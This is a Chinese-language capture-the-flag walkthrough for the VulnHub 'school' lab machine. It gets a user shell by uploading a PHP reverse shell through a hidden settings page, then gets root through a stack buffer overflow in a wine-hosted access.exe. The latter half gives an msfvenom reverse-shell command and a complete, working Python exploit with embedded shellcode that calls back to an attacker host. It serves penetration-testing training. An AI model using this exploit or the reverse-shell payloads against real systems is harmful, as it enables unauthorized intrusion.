这是vulnhub里一个非常有意思的靶机,下载地址是https://www.vulnhub.com/entry/school-1,613/
这个靶机是Linux系统的,取得用户shell的难度是初级,但是取得root shell需要对wine运行的windows程序进行溢出攻击。
首先,加载靶机到VirtualBox,运行后取得IP地址,并用nmap进行扫描。
经过一番测试,除了80端口,其它端口目前都没有发现什么。用浏览器打开靶机,发现直接跳转到http://192.168.56.12/student_attendance/login.php。
测试了几个弱口令,无法登录。开始爆破网站目录,发现了一些文件和文件夹。
gobuster dir -u http://192.168.56.12/student_attendance/ -t 50 -x .php,.html,.txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -b 403,404
经过一番浏览,在database文件夹里发现一个student_attendance_db.sql文件。
下载下来以后,查看其中的内容,发现了2个用户名和密码。
在线解出admin的密码为admin123。随后用这个用户名和密码登录刚才的界面,进入一个控制面板。
在这个控制面板进行查找后发现,并没有可以利用的地方。这里,查看一下页面源代码,发现有一处很特别的注释。
这说明后台很有可能有一个site_settings页面,但是被注释隐藏了。我们直接在地址栏里输入http://192.168.56.12/student_attendance/index.php?page=site_settings
尝试访问,果然来到一个新的界面。最重要的是,有上传文件按钮。
![](http://www.vxer.cn/wp-content/uploads/2024/11/8.png)
我们选择上传一个php的反弹shell,同时监听相关端口,随后得到了用户shell。
发现靶机有两个用户,fox和ppp。在fox的home目录下,找到了用户flag。又经过一番探索,包括查找SUID、可写文件、getcap等操作,没有发现可以利用来提权的地方。但是发现一个有意思的地方,就是www-data用户可以进入 /root目录,虽然目前无法读取root的flag,但是发现一个有意思的文件。
查看win文件的内容,发现这一个可执行脚本,用处就是不断地用wine执行access.exe程序。
那么这个程序肯定是在运行的,ps aux|grep access.exe无法查看PID,且netstat -tlnup也无法显示相关端口对应的PID,估计是权限太低的原因。
我们把access.exe下载到本地的windows上运行后,发现该程序运行在23端口。因此,可以判断靶机里的23端口正是wine运行的access。(其实,后期在反汇编中可以很清楚地看到access.exe的端口号。)
我们在本地的windows上运行access.exe程序,并尝试用nc连接。连接后输入字符串。当字符串长度较小时,程序运行正常,当字符串长度较大时,access.exe程序就会退出。初步猜测,这应该是一个缓冲区溢出漏洞。
经过反复测试,可以得出,当字符串长度为1902时,是access.exe可以正常运行的最大输入字符串长度。为了进一步确认字符串溢出的位置,我们使用x32dbg(因为程序是32位的)和IDA来确认程序出错的位置。首先,我们用python生成溢出字符串,这里我们先生成1902个'a'和4个'b'。
用x32dbg加载access.exe,按几次F9后让服务端运行起来,然后在客户端输入刚才的溢出测试字符串,这时程序中断在004018E7处,且状态栏显示“异常于62626262“,这正是我们刚才输出的测试字符串中的'bbbb"。说明1902个'a'正好将程序分配的堆栈全部占满,'bbbb'占据了调用函数返回值的地址(见右下角堆栈视图)。
经过几次调试跟踪,我们发现,程序错误出现在access.exe程序的004018CE处(_f3)。
使用F5可以更清楚看到,这就是个strcpy调用,其中,预留的缓冲区大小0x76A,转换成10进制,正好是1898,再加上4个byte的参数的位置,正好是1902。
下面,开始形成我们的溢出思路。我们是无法像在本机调试一样去调试靶机的程序的,唯一的途径就是通过连接23端口,输入数据,而相关数据均保存在堆栈中。因此,我们要将shellcode输入给access.exe,同时,让access.exe溢出后,能执行我们的代码。有时,需要在返回地址和shellcode之间放一些代码,以保证对齐要求,但是本例中没有必要。
下面遇到的问题,就是如何让返回地址指向我们需要执行的代码?由于返回地址弹出后,堆栈指针esp指向shellcode的顶部(或nop指令的顶部),最简单的方法就是jmp esp,这样就可以接着跳转回堆栈中执行,但这句jmp esp指令必须是在原程序中,而我们返回地址只能指向jmp esp这句指令的地址。我们在access.exe中未找到jmp esp,但是发现,它还有一个动态加载的dll:funcs_access.dll。
用IDA打开funcs_access.dll文件,发现了其中就有我们需要的指令,而且不止一处。
下面就是返回地址的确定,IDA已经显示出来了,dll动态加载后,jmp esp的地址是0x625012D0。在x32dbg中,加载access.exe后,
这里还有一个坑,就是access.exe程序里,对客户端的输入字符串进行了过滤,有一些字符是不能使用的,注意在生成shellcode时,这部分字符串不能使用。
shellcode使用msfvenom生成,命令是
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.100 LPORT=4444 -b '\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f' -f python
下面就可以编写溢出程序了,完整的python代码如下:
#!/usr/bin/python3import socket
buf=b''target_ip='192.168.56.12'
target_port=23
recv_buf=4096
junk = b'a' * 1902
ret_addr=b'\xd0\x12\x50\x62'
#nops=b'\x90'*32 可选
buf += b"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\xe1\xa8\xa3\x85\x83\xee\xfc\xe2\xf4\x1d\x40"
buf += b"\x21\x85\xe1\xa8\xc3\x0c\x04\x99\x63\xe1\x6a\xf8\x93"
buf += b"\x0e\xb3\xa4\x28\xd7\xf5\x23\xd1\xad\xee\x1f\xe9\xa3"
buf += b"\xd0\x57\x0f\xb9\x80\xd4\xa1\xa9\xc1\x69\x6c\x88\xe0"
buf += b"\x6f\x41\x77\xb3\xff\x28\xd7\xf1\x23\xe9\xb9\x6a\xe4"
buf += b"\xb2\xfd\x02\xe0\xa2\x54\xb0\x23\xfa\xa5\xe0\x7b\x28"
buf += b"\xcc\xf9\x4b\x99\xcc\x6a\x9c\x28\x84\x37\x99\x5c\x29"
buf += b"\x20\x67\xae\x84\x26\x90\x43\xf0\x17\xab\xde\x7d\xda"
buf += b"\xd5\x87\xf0\x05\xf0\x28\xdd\xc5\xa9\x70\xe3\x6a\xa4"
buf += b"\xe8\x0e\xb9\xb4\xa2\x56\x6a\xac\x28\x84\x31\x21\xe7"
buf += b"\xa1\xc5\xf3\xf8\xe4\xb8\xf2\xf2\x7a\x01\xf7\xfc\xdf"
buf += b"\x6a\xba\x48\x08\xbc\xc0\x90\xb7\xe1\xa8\xcb\xf2\x92"
buf += b"\x9a\xfc\xd1\x89\xe4\xd4\xa3\xe6\x57\x76\x3d\x71\xa9"
buf += b"\xa3\x85\xc8\x6c\xf7\xd5\x89\x81\x23\xee\xe1\x57\x76"
buf += b"\xd5\xb1\xf8\xf3\xc5\xb1\xe8\xf3\xed\x0b\xa7\x7c\x65"
buf += b"\x1e\x7d\x34\xef\xe4\xc0\x63\x2d\xd9\xcc\xcb\x87\xe1"
buf += b"\xb9\xff\x0c\x07\xc2\xb3\xd3\xb6\xc0\x3a\x20\x95\xc9"
buf += b"\x5c\x50\x64\x68\xd7\x89\x1e\xe6\xab\xf0\x0d\xc0\x53"
buf += b"\x30\x43\xfe\x5c\x50\x89\xcb\xce\xe1\xe1\x21\x40\xd2"
buf += b"\xb6\xff\x92\x73\x8b\xba\xfa\xd3\x03\x55\xc5\x42\xa5"
buf += b"\x8c\x9f\x84\xe0\x25\xe7\xa1\xf1\x6e\xa3\xc1\xb5\xf8"
buf += b"\xf5\xd3\xb7\xee\xf5\xcb\xb7\xfe\xf0\xd3\x89\xd1\x6f"
buf += b"\xba\x67\x57\x76\x0c\x01\xe6\xf5\xc3\x1e\x98\xcb\x8d"
buf += b"\x66\xb5\xc3\x7a\x34\x13\x53\x30\x43\xfe\xcb\x23\x74"
buf += b"\x15\x3e\x7a\x34\x94\xa5\xf9\xeb\x28\x58\x65\x94\xad"
buf += b"\x18\xc2\xf2\xda\xcc\xef\xe1\xfb\x5c\x50"
payload = b''payload += junk
payload += ret_addr
#payload += nops
payload += buf
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock:
clientSock.connect((target_ip,target_port))
data_from_srv = clientSock.recv(recv_buf)
print(f"Reply --> {data_from_srv}")
print(f"Sending --> {payload}")
clientSock.sendall(payload)
最后运行测试。一个终端开启4444端口的监听,另一个窗口运行exp.py。成功反弹回shell。
最后就是显示root flag了。